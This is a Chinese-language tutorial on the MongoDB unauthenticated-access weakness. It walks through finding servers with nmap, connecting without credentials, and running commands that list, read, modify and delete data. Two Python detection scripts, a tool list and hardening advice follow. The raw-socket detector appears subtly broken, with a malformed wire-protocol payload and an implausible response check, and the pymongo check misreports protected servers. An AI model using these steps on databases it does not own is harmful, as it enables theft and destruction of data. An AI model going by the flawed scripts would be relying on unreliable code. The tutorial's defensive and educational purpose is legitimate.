您的位置:

MongoDB未授权访问漏洞

MongoDB是一款非常流行的文档型NoSQL数据库,在Web应用程序的开发中广泛应用。但是,如未正确设置安全配置,MongoDB可能会被黑客攻击,因为MongoDB默认没有启用身份验证、默认绑定在所有IP地址上,并在默认情况下开启所有功能。

一、MongoDB未授权访问漏洞利用

攻击者可以通过MongoDB的未授权访问漏洞获取MongoDB的完全控制权,并读取、修改、删除数据,又名 “认证绕过漏洞”。具体来说,MongoDB未授权访问漏洞利用的过程包括两个步骤:

1)查找浏览MongoDB的端口和IP地址:


# nmap -p 27017 --script mongodb-info.nse 192.168.56.101

Starting Nmap 7.70 ( https://nmap.org ) at 2021-05-28 11:38 CST
Nmap scan report for 192.168.56.101
Host is up (0.0017s latency).

PORT      STATE SERVICE
27017/tcp open  mongodb
| mongodb-info:
|   MongoDB Server Information:
|     ......
|   MongoDB Authentication Information:
|     Authentication Mechanisms: null
|_    Authentication Mechanism Properties:

2)使用MongoDB客户端工具连接到MongoDB数据库,如下所示:


# mongo 192.168.56.101:27017

MongoDB shell version v4.0.24
connecting to: mongodb://192.168.56.101:27017/
MongoDB server version: 4.0.24
Welcome to the MongoDB shell.

二、MongoDB未授权访问利用

一旦攻击者登录MongoDB数据库,就可以尝试进行多种未授权访问利用:

1)显示所有数据库:


> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB

2)使用 admin 数据库:


> use admin
switched to db admin

3)显示所有集合:


> show collections

4)查询指定集合的所有文档:


> db.collection_name.find()

5)修改文档内容:


> db.collection_name.update({query},{update})

6)删除文档:


> db.collection_name.remove({query})

三、MongoDB未授权访问验证

为了验证当前MongoDB数据库是否具有未授权访问漏洞,可以使用一些在线工具。例如,使用 Pentest-Tools 进行检测,输入MongoDB服务器的IP地址和端口号,单击“Scan”按钮,如下图所示:

如果存在未授权访问漏洞,将显示以下消息:


MongoDB unauthorized access detected.
Host: 192.168.56.101:27017

四、MongoDB未授权访问Python

Python是非常流行的编程语言,有一些好用的模块可以用来测试MongoDB未授权访问漏洞。例如,使用Python模块pymongo连接到MongoDB数据库并检测是否存在未授权访问漏洞,如下所示:


import pymongo
client = pymongo.MongoClient('mongodb://localhost:27017/')
if len(client.list_database_names()) > 0:
    print('MongoDB unauthorized access detected.')
else:
    print('MongoDB is secured.')

五、MongoDB未授权访问漏洞检测脚本

下面是一个简单的Python脚本,用于检测MongoDB未授权访问漏洞。该脚本用于查找使用MongoDB的IP地址和端口号,并尝试连接到MongoDB数据库以获取权限。如果可以成功连接,则表明存在漏洞,否则没有漏洞。


import socket

def check_mongo(ip, port=27017):
    try:
        s = socket.socket()
        s.settimeout(10)
        s.connect((ip, port))
        payload = b'\x39\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x74\x65\x73\x74\x2E\x24\x63\x6D\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        s.send(payload)
        data = s.recv(1024)
        if b'mongodb' in data:
            return True
        s.close()
        return False
    except Exception as e:
        print(e)
        return False
        
if __name__ == '__main__':
    ip_ports = [('127.0.0.1', 27017), ('192.168.1.1', 27017)]
    for ip, port in ip_ports:
        print('[+]', ip, 'is vulnerable' if check_mongo(ip, port) else 'is not vulnerable')

六、MongoDB未授权访问用什么测试

在测试MongoDB未授权访问漏洞的过程中,有很多测试工具可以使用。这里介绍一些常用的测试工具:

1)Pentest-Tools: https://pentest-tools.com/network-vulnerability-scanning/mongodb-unauthorized-access

2)Mongoaudit: https://github.com/stampery/mongoaudit

3)NoSQLMap: https://github.com/codingo/NoSQLMap

七、MongoDB未授权访问漏洞由什么造成

造成MongoDB未授权访问漏洞的根本原因是MongoDB在缺少足够的安全配置的情况下被部署。MongoDB此前默认配置为不启用身份验证,允许连接到所有IP地址,并默认启用所有功能,因此在未调整这些默认设置的情况下直接在生产中使用MongoDB将使其容易被黑客攻击。

八、MongoDB未授权访问漏洞修复

要防止MongoDB未授权访问漏洞的发生,需要采取以下防御措施:

1)启用身份验证,建立MongoDB账户和访问权限。

2)限制MongoDB数据库服务器的网络暴露。

3)使用防火墙规则保护MongoDB。

4)及时更新MongoDB软件版本和修补程序。

5)监控MongoDB的系统日志和网络流量,及时检测恶意迹象。

6)使用密钥管理器或其他加密技术加密MongoDB数据库。

7)限制MongoDB的用户权限,仅赋予必要的最小权限,以免出现数据泄露等问题。

九、总结

由于其易于使用和部署,MongoDB已成为Web应用程序开发中NonSQL数据库的首选。然而,由于没有正确的安全配置,MongoDB容易成为黑客攻击的目标。攻击者可以利用MongoDB未授权访问漏洞轻松获取MongoDB的完全控制权,并读取、修改、删除数据。为了防止未授权访问漏洞的发生,应该采取适当的防御措施,例如启用身份验证、限制网络暴露、使用防火墙、更新软件版本等。